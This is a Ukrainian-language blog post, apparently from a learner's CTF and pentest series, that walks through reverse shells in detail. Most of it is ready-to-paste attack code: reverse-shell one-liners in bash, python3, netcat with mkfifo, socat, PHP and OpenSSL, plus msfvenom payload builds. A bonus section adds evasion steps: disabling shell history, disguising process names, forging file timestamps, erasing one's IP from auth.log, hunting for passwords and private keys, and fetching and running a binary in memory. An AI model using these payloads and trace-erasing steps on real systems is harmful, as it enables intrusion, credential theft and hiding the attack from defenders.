// LOG #21: Reverse Shell Deep Dive — кухня зсередини

// LOG #21: Reverse Shell Deep Dive — кухня зсередини

Юний поціновувач кібернетичних наук

За весь канал я використовував reverse shell десятки разів, але завжди як чорну скриньку: скопіював, вставив, прилетіло. Час розібрати кухню — що саме відбувається, чому одні payload-и кращі за інші і як перетворити «сирий» шел на повноцінний термінал. Цей пост — довідник, до якого я сам повертатимусь.

>> Reverse vs Bind: у чому різниця

Дві моделі, як дістати шел на цілі:

  • Reverse shell — ціль сама підключається ДО НАС. Ми слухаємо, вона конектиться. Обходить вхідний фаєрвол цілі (вихідний трафік майже завжди дозволений);
  • Bind shell — ціль відкриває порт і слухає, ми підключаємось ДО неї. Потрібен відкритий вхідний порт. Рідше використовується.

У 99% CTF і реальних пентестів — reverse. Саме його і розберемо.

>> Listener: що запускаємо у себе

Перш ніж надіслати payload на ціль — треба підняти слухача у себе. Три варіанти від простого до зручного:

  • nc (netcat) — мінімальний, завжди доступний:
  • rlwrap nc — додає history і стрілки (але не повний PTY):
  • socat — одразу дає повноцінний PTY, найзручніший:
nc -lvnp 4444
rlwrap nc -lvnp 4444
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

Прапорці nc: -l слухати, -v verbose (показує з'єднання), -n без DNS-резолвінгу, -p порт. Завжди знай свій tun0 IP (ifconfig tun0) — це LHOST для payload-ів.

>> Типи reverse shell

>> bash /dev/tcp

Найпростіший — є скрізь де є bash. /dev/tcp — це псевдофайл: bash відкриває TCP-з'єднання як звичайний файл, і все вводу/виводу йде туди. Оператори >& і 0>&1 перенаправляють stdin/stdout/stderr у сокет:

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

Якщо /bin/bash це dash (Debian/Ubuntu) — /dev/tcp не підтримується. Обхід: явно викликати bash:

bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

>> python3

Є на більшості Linux. Два варіанти: простий через subprocess і покращений що одразу спавнить PTY (детальніше про PTY нижче):

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),i) for i in range(3)];subprocess.call(["/bin/bash","-i"])'

Або одразу з PTY через pty.spawn (рекомендовано):

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("bash")'

>> nc mkfifo (netcat без -e)

Класичний OpenBSD netcat не має прапорця -e (виконати програму). Обхід — named pipe (fifo) як двонаправлений канал: nc пише в fifo, bash читає і виконує, вивід назад у nc:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <LHOST> <LPORT> >/tmp/f

Виглядає страшно, але ідея проста: fifo з'єднує stdout nc із stdin bash і навпаки. Реально тестував — uid=0 прилетів.

>> socat (найпотужніший)

socat — швейцарський ніж для мережевих з'єднань. Одразу дає повноцінний PTY без додаткової стабілізації (pty,stderr,setsid,sigint,sane):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:<LHOST>:<LPORT>

У парі з socat-listener — отримуємо ідеальний shell одразу:

socat file:`tty`,raw,echo=0 TCP-LISTEN:<LPORT>

Мінус: socat рідко встановлений на цілі за замовчуванням. Але можна завантажити статичний бінарник через wget.

>> PHP reverse shell

Для web-upload сценаріїв (як на RootMe #19). fsockopen відкриває TCP-з'єднання, proc_open запускає bash і прив'язує stdin/stdout/stderr до сокету:

php -r '$s=fsockopen("<LHOST>",<LPORT>);$p=proc_open("/bin/bash -i",array(0=>$s,1=>$s,2=>$s),$pipes);'

>> msfvenom: генератор payload-ів

Не хочеш вручну — msfvenom генерує готовий бінарник під будь-яку ОС/формат. Три найчастіших:

Linux ELF (194 байти, chmod +x і запустити):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf

Windows EXE (7680 байт):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

PHP (для upload, 2614 байт):

msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw -o shell.php

Для Meterpreter (замість shell_reverse_tcp → meterpreter/reverse_tcp) треба запускати handler у msf: use multi/handler, set payload, run.

>> PTY стабілізація — головна секція

Отримав shell — але він «тупий» (dumb). Ctrl+C вбиває твій nc, Tab не працює, vim крашається, паролі вводяться у відкриту. Це тому що немає псевдотерміналу (PTY). Фікс — три кроки:

Крок 1 — спавнимо PTY на цілі: python3 запускає bash через pty.spawn, що створює псевдотермінал /dev/pts/N:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Крок 2 — переводимо nc у raw-режим: Ctrl+Z фонує nc. Потім stty raw -echo вимикає локальне відлуння і передає всі символи напряму (інакше nc перехоплює Ctrl+C сам):

stty raw -echo; fg

Крок 3 — налаштовуємо термінал на цілі: export TERM=xterm дає кольори і escape-послідовності. stty rows/cols синхронізує розмір (свій розмір дивись через stty size у іншому вікні):

export TERM=xterm
export SHELL=bash
stty rows 38 cols 116

Результат: tty повертає /dev/pts/0. Tab доповнює, стрілки дають history, Ctrl+C вбиває процес на цілі, vim відкривається.

Якщо нема python3 на цілі — спробуй:

  • script /dev/null -c bash (є майже скрізь)
  • perl -e 'exec "/bin/bash"'
  • socat exec:'bash -li',pty,stderr TCP:<LHOST>:<LPORT> (якщо є socat)

>> Бонус: лайфхаки з THC Cheat Sheet

Знайшов золоту шпаргалку від hackerschoice/thc-tips-tricks-hacks-cheat-sheet — ось найцікавіше для роботи з терміналом:

1. Вимкнути history одразу після shell — всі команди у відкритому журналі = артефакти для Blue Team:

unset HISTFILE
export HISTFILE=/dev/null
export BASH_HISTORY=/dev/null

2. Команда з пробілу не потрапляє в history (bash feature HISTCONTROL=ignorespace):

 id    # пробіл перед командою — не логується

3. Маскуємо ім'я процесу — exec -a підміняє argv[0] в ps/top. nmap ховається під syslogd:

(exec -a syslogd nmap -Pn -F -n 10.0.0.1/24)

4. OpenSSL encrypted shell — зашифрований reverse shell, ніякий DPI не побачить вмісту:

На атакувальнику (генеруємо серт і слухаємо):

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=THC'
openssl s_server -port 4444 -cert cert.pem -key key.pem

На жертві (підключається назад через SSL):

({ openssl s_client -connect <LHOST>:4444 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5. cURL shell — shell через curl telnet-режим, корисно коли є лише curl:

Атакувальник: `ncat -kltv 4444`. Жертва:

C="curl -Ns telnet://<LHOST>:4444"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

6. Shell без /dev/tcp і без nc — для embedded/sh-only систем де немає bash, тільки telnet:

mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet <LHOST> 4444 >/tmp/.io

7. PTY через script — якщо нема python3, script є скрізь:

exec script -qc /bin/bash /dev/null

8. Download без curl/wget — bash вміє качати файли через /dev/tcp (вбудований HTTP-клієнт):

exec 3<>/dev/tcp/<HOST>/80
echo -e 'GET /file HTTP/1.0\r\nHost: <HOST>\r\n\r\n' >&3
cat <&3 | sed '1,/^\r/d' > file

Або через openssl для HTTPS (якщо є openssl але нема curl):

echo -e 'GET /path HTTP/1.0\r\nHost: host\r\n\r\n' | openssl s_client -quiet -connect host:443 | sed '1,/^\r/d' > file

9. Відновити timestamp файлу — після зміни /etc/passwd «позичаємо» дату у /etc/shadow, щоб не світився у ls -la:

touch -r /etc/shadow /etc/passwd

10. Видалити свій IP з лог-файлу — після роботи прибираємо сліди (SSH_CLIENT містить наш IP):

xlog() { local a=$(sed "/${1}/d" <"${2}") && echo "$a" >"${2}"; }
xlog "${SSH_CLIENT%% *}" /var/log/auth.log

11. Знайти паролі у файлах — швидкий grep по всій директорії:

grep -rHEi 'password' . 2>/dev/null | grep -v Binary
grep -r -F -- ' PRIVATE KEY-----' . 2>/dev/null

12. SSH невидимий — не пише в ~/.ssh/known_hosts, не залишає запис у w/who:

ssh -o UserKnownHostsFile=/dev/null -T user@host "bash -i"

13. Перевірити порт без nmap — bash /dev/tcp як port scanner:

timeout 5 bash -c "</dev/tcp/1.2.3.4/80" && echo OPEN || echo CLOSED

14. Виконати бінарник у пам'яті без запису на диск — memexec через perl: корисно на noexec-системах або щоб не лишати файлів:

curl -sSfL https://example.com/tool | perl -e '$^F=255;for(319,279){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X' -- -args

15. Дізнатись публічний IP — LHOST для payload-ів:

curl ifconfig.me

Шо каже HackTricks 📖

Повна шпаргалка усіх можливих reverse shell — у HackTricks Linux Shells. А ще є зручний онлайн-генератор revshells.com — вибираєш тип, вводиш IP/PORT, копіюєш готовий payload. Для більш складних випадків (обхід WAF, шифрований канал, pivot через SSH) — GTFOBins покаже як отримати шел із будь-якого дозволеного бінарника.


>> Що я зрозумів для себе

  • Reverse shell = ціль підключається ДО нас. Обходить вхідний фаєрвол.
  • Listener спершу (nc -lvnp), потім payload — інакше шел нікуди прилетить.
  • bash /dev/tcp — найпростіший; socat — найзручніший (одразу PTY).
  • nc mkfifo — обхід коли nc без -e (OpenBSD nc).
  • msfvenom генерує payload під будь-яку ОС за одну команду.
  • dumb shell = непридатний для роботи. PTY стабілізація — обов'язковий крок.
  • python3 pty.spawn + stty raw -echo + export TERM=xterm = повноцінний термінал.

>> Шпаргалка (copy-paste kit)

Listener:

nc -lvnp 4444

bash /dev/tcp:

bash -i >& /dev/tcp/<LHOST>/4444 0>&1

python3 з PTY:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<LHOST>",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("bash")'

nc mkfifo:

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <LHOST> 4444>/tmp/f

PTY стабілізація (після отримання shell):

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 38 cols 116

msfvenom Linux/Windows/PHP:

msfvenom -p linux/x64/shell_reverse_tcp  LHOST=<IP> LPORT=4444 -f elf -o s.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o s.exe
msfvenom -p php/reverse_php              LHOST=<IP> LPORT=4444 -f raw -o s.php

>> Інструмент дня

revshells.com (генератор payload-ів) · HackTricks: Linux Shells · GTFOBins · THC Tips Tricks Hacks Cheat Sheet · socat · msfvenom cheatsheet

revshells.com (генератор payload-ів): https://www.revshells.com/
HackTricks: Linux Shells: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/shells/linux.html
GTFOBins: https://gtfobins.github.io/
THC Tips Tricks Hacks Cheat Sheet: https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
socat: https://linux.die.net/man/1/socat
msfvenom cheatsheet: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/reverse-shells/msfvenom.html

Відтепер reverse shell — не чорна скринька, а набір зрозумілих деталей. bash відкриває сокет через /dev/tcp, python3 спавнить PTY, mkfifo з'єднує канали, socat робить це все одразу. А dumb shell без PTY — це як кавомашина без крана: технічно є, але нічого не витечить нормально. Стабілізуй і працюй. Ростемо, username.

— з повагою ваш Юний поціновувач кібернетичних наук

Report Page